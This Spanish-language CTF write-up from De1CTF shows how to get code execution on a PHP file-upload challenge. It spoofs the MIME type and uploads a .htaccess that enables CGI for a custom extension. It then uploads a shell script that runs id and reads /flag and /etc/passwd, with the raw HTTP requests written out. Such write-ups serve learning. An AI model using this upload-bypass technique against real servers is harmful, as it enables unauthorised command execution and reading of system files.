Abusando .htaccess y CGI para obtener RCE en aplicación upload files de PHP

Por @dark1t (Berenice F)

Este reto Web se resolvió durante el De1CTF de De1ta Club. La descripción del reto daba una URL y daba como pista que el servidor se reiniciaba cada 5 min.



Accediendo a la página del reto, se observaba una aplicación simple para subir un archivo. El código fuente no mostraba alguna cosa fuera de lo ordinario.


Codigo fuente:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Cheek in</title>
 <meta name="viewport" content="width=device-width, initial-scale=1">
 <link rel="stylesheet" type="text/css" href="style/css/style1.css">
    <link rel="stylesheet" type="text/css" href="style/css/style2.css">
</head>
<body>
<div class="wrap">
    <div class="container">
        <h1 style="color: white; margin: 0; text-align: center">UPLOADS</h1>
        <form action="index.php" method="post" enctype="multipart/form-data">
        <input class="wd" type="file" name="fileUpload" id="file"><br>
        <input class="wd" type="submit" name="upload" value="submit">
            <p class="change_link" style="text-align: center">
            <strong>upload your file</strong>
            </br>
            <strong></strong>
            </br>
            <strong></strong>
            </p>
        </form>
    </div>
</div>
</body>
</html>

El siguiente paso fue probar la funcionalidad: subir archivos e interceptar las peticiones para analizar el comportamiento. Se comenzó con un archivo .txt, al cual se le asignó por default Content-Type: text/plain​. Al enviar la petición se recibió el error filetype error.


Fue un poco extraño que no aceptara un archivo simple como un .txt, pero como siguiente paso se intentó cambiarle el tipo de archivo (Content-Type) a image/gif. Se observó que la aplicación ahora si aceptaba el archivo y lo subía en la carpeta /uploads/<md5>/test.txt



Haciendo una petición a la URL del archivo que se subió al servidor muestra el contenido de éste de manera simple:


Al ser esta una aplicación de PHP, también se intentó engañar a la aplicación y cambiar la extensión del archivo a .php para intentar ejecutar código con PHP, sin embargo, al establecer el nombre de archivo a test.php.gif, apareció el error: filename error y que no permitiera que se subiera el archivo.



Como siguiente paso, se configuró un intruder en Burpsuite y se probaron todas las extensiones de archivo de este recurso, pero siempre apareció el mismo filename error, lo que nos hizo pensar que cualquier extensión de archivo que contuviera las palabras ph iba a ser bloqueada.

Después de las pruebas anteriores, se consideró que si quizá se lograba inyectar código PHP dentro del archivo, entonces se podría encontrar otra manera de ejecutar el código aunque el archivo no tuviera extensión .php o .phtml, etc, pero desafortunadamente nos encontramos que ph también estaba filtrado, junto con otros comandos como perl, curl, base, etc y el caracter ​​>.


A partir de este punto se complicaron un poco las cosas, aparentemente no se podía agregar código php al archivo que se subía, tampoco se podía agregarle una extensión .php al archivo para que el servidor lo ejecutara como código.
Realizamos un rápido ataque de fuerza bruta al servidor web para ver si podíamos encontrar archivos o directorios ocultos. Lo único interesante que se encontró fue un directorio /cgi-bin​ (con error 403) y el archivo ​.htaccess​ que tampoco daba acceso y mostraba error 403.

root@kali:~/de1ctf# python3 /root/resources/dirsearch/dirsearch.py -u http://129.204.21.115 -e php.swp,php.bak

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php.swp, php.bak | HTTP method: get | Threads: 10 | Wordlist size: 6497

Error Log: /root/resources/dirsearch/logs/errors-20-05-03_00-41-29.log

Target: http://129.204.21.115

[00:41:30] Starting: 
[00:41:40] 403 -  213B  - /.ht_wsr.txt
[00:41:40] 403 -  206B  - /.hta
[00:41:41] 403 -  217B  - /.htaccess-local
[00:41:41] 403 -  215B  - /.htaccess-dev
[00:41:41] 403 -  217B  - /.htaccess-marco
[00:41:41] 403 -  216B  - /.htaccess.bak1
[00:41:41] 403 -  216B  - /.htaccess.orig
[00:41:41] 403 -  218B  - /.htaccess.sample
[00:41:41] 403 -  215B  - /.htaccess.old
[00:41:41] 403 -  216B  - /.htaccess.save
[00:41:41] 403 -  215B  - /.htaccess.txt
[00:41:41] 403 -  216B  - /.htaccess_orig
[00:41:41] 403 -  214B  - /.htaccessBAK
[00:41:41] 403 -  214B  - /.htaccessOLD
[00:41:41] 403 -  214B  - /.htaccess_sc
[00:41:41] 403 -  215B  - /.htaccessOLD2
[00:41:41] 403 -  212B  - /.htaccess~
[00:41:41] 403 -  210B  - /.htgroup
[00:41:41] 403 -  215B  - /.htpasswd-old
[00:41:41] 403 -  215B  - /.htaccess.BAK
[00:41:41] 403 -  216B  - /.htpasswd_test
[00:41:41] 403 -  212B  - /.htpasswds
[00:41:41] 403 -  210B  - /.htusers
[00:41:42] 403 -  217B  - /.htaccess_extra
[00:42:59] 403 -  210B  - /cgi-bin/
[00:43:42] 200 -  962B  - /index.php
[00:43:43] 200 -  962B  - /index.php/login/
[00:44:51] 301 -  236B  - /style  ->  http://129.204.21.115/style/
[00:45:05] 301 -  238B  - /uploads  ->  http://129.204.21.115/uploads/
[00:45:05] 403 -  210B  - /uploads/

Lo anterior nos llevó a pensar lo siguiente: si existen reglas de archivo .htaccess en el servidor y podemos subir uno modificado, entonces quizá podemos re-escribir las reglas de ejecución de ciertos tipos de archivo.
Para validar si podíamos reemplazar las reglas de .htaccess se envió este contenido :

​SetHandler server-status
SetHandler server-info


Se subió el archivo con normalidad, y  se hizo request a ​/uploads/<md5>/..htaccess​ para verificar si se estaban activando las reglas de .htaccess. Al hacer esto pudimos observar la página de información de Apache, la cual nos mostró como “loaded” el módulo cgi.


Un ataque muy conocido con el que se puede hacer bypass a una restricción en una extension de archivo es reemplazar las reglas de .htaccess en la que se declara que una cierta extensión de archivo (que no sea filtrada) pueda ser capaz de ejecutar código PHP, por ejemplo, si se agrega la siguiente línea en un archivo .htaccess se podría ejecutar código PHP si podemos subir un archivo con una extensión personalizada  (por ejemplo .mayas):

​AddType application/x-httpd-php .mayas

​​Sin embargo, como se descubrió anteriormente, cualquier palabra con los caracteres php estaba filtrado en este reto. Por eso, y con base a lo que se había descubierto hasta este punto, se investigó la posibilidad de utilizar CGI para ejecutar comandos del sistema.
Un nuevo archivo .htaccess se subió con el siguiente contenido, con el cual le dijimos al servidor que archivos con extensión .mayas los ejecutara como scripts CGI.

POST /index.php HTTP/1.1
Host: 129.204.21.115
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://129.204.21.115/index.php/login/
x-forwarded-for: localhost
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------2123513974539431969903402973
Content-Length: 384

-----------------------------2123513974539431969903402973
Content-Disposition: form-data; name="fileUpload"; filename=".htaccess"
Content-Type: image/gif

Options +ExecCGI
AddHandler cgi-script .mayas
-----------------------------2123513974539431969903402973
Content-Disposition: form-data; name="upload"

submit
-----------------------------2123513974539431969903402973--

Respuesta recibida en BurpSuite:


Una vez que se estableció la regla anterior, se subió un archivo .mayas con el siguiente contenido de un script bash para poder ejecutar comandos.

POST /index.php HTTP/1.1
Host: 129.204.21.115
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://129.204.21.115/index.php
x-forwarded-for: localhost
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------14819820161664586594932723
Content-Length: 441

-----------------------------14819820161664586594932723
Content-Disposition: form-data; name="fileUpload"; filename="final.mayas"
Content-Type: image/gif

#!/bin/sh

echo&&echo [ID];id;echo ;echo [FLAG];strings /flag;echo ;echo [BY MAYAS];echo ;cat /etc/passwd;

-----------------------------14819820161664586594932723
Content-Disposition: form-data; name="upload"

submit
-----------------------------14819820161664586594932723--

Se realizó una petición al archivo .mayas con la siguiente path: ​/uploads/<md5>/final.mayas​ y se pudo leer la flag.


Flag: De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}

Recursos:
http://ggb0n.cool/2020/03/06/CTFHub-bypass-functions-disable/
https://web.archive.org/web/20160817051214/http://0cx.cc/bypass_disabled_via_mod_cgi.jspx
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/paper/readme.old.md
https://www.anquanke.com/post/id/195686#h3-5

Go Mayas!

Comentarios